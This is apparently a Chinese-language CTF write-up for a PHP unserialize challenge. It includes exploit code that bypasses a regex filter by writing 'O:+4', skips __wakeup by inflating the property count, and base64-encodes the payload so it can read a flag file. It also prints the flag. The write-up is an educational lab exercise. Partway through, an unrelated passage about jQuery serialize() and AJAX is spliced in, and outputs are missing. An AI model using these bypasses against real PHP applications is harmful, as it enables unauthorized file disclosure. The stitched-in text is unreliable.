PHP序列化的时候对public protected private变量的处理方式是不同的
public无标记,变量名不变,长度不变: s:2:"op";i:2;
protected在变量名前添加标记\00*\00,长度+3: s:5:"\00*\00op";i:2;
private在变量名前添加标记\00(classname)\00,长度+2+类名长度: s:17:"\00FileHandler_Z\00op";i:2;
打开以后是一段代码审计
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;//构造函数把里面的参数变成传进来的参数
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {//如果反序列化会执行
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) { //get传参
$var = base64_decode($_GET['var']); //进行base64解码
if (preg_match('/[oc]:\d+:/i', $var)) { //如果解码后的东西匹配到o或c开头+:+任意数字(一位或多位)不区分大小写就stop hacking
die('stop hacking!');
} else {//否则反序列化
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
两个点:
- 正则对形如o:4:…这种做了过滤,可以用+4进行绕过
- Wakeup方式绕过,属性值大于实际值即可绕过
利用在线工具进行php代码编写
在线工具网址https://c.runoob.com/compile/1/
代码为:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A=new Demo("fl4g.php");
$C=serialize($A);
echo $C;
?>
得到了:
serialize()方法:
格式:var data = $("#formID").serialize();
功能:将表单内容序列化成一个字符串。
这样在ajax提交表单数据时,就不用一一列举出每一个参数。只需将data参数设置为 $("form").serialize()即可。
AJAX:
1.ajax 全名async javascript and XML(异步JavaScript和XML)
2.是前后台交互的能⼒ 也就是我们客户端给服务端发送消息的⼯具,以及接受响应的⼯具
3.AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
4.AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。
5.是⼀个默认异步执⾏机制的功能,AJAX分为同步(async = false)和异步(async = true)
什么是同步请求:(false)
同步请求是指当前发出请求后,浏览器什么都不能做,必须得等到请求完成返回数据之后,才会执行后续的代码,相当于生活中的排队,必须等待前一个人完成自己的事物,后一个人才能接着办。也就是说,当JS代码加载到当前AJAX的时候会把页面里所有的代码停止加载,页面处于一个假死状态,当这个AJAX执行完毕后才会继续运行其他代码页面解除假死状态。
什么是异步请求:(默认:true)
默认异步:异步请求就当发出请求的同时,浏览器可以继续做任何事,Ajax发送请求并不会影响页面的加载与用户的操作,相当于是在两条线上,各走各的,互不影响。一般默认值为true,异步。异步请求可以完全不影响用户的体验效果,无论请求的时间长或者短,用户都在专心的操作页面的其他内容,并不会有等待的感觉。
代码为:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A=new Demo("fl4g.php");
$C=serialize($A);
echo $C;
echo "\n";
$C=str_replace("O:4","O:+4",$C);
$C=str_replace(":1:{",":2:{",$C);
echo $C;
?>
得到了:
代码为:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A=new Demo("fl4g.php");
$C=serialize($A);
echo $C;
echo "\n";
$C=str_replace("O:4","O:+4",$C);
$C=str_replace(":1:{",":2:{",$C);
echo $C;
echo "\n";
$var=base64_encode($C);
echo $var;
?>
得到了:
base64_encode() returns 使用 base64 对 data 进行编码。设计此种编码是为了使二进制数据可以通过非纯 8-bit 的传输层传输,例如电子邮件的主体。
GET传参给var即可得flag
<?php
$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";
?>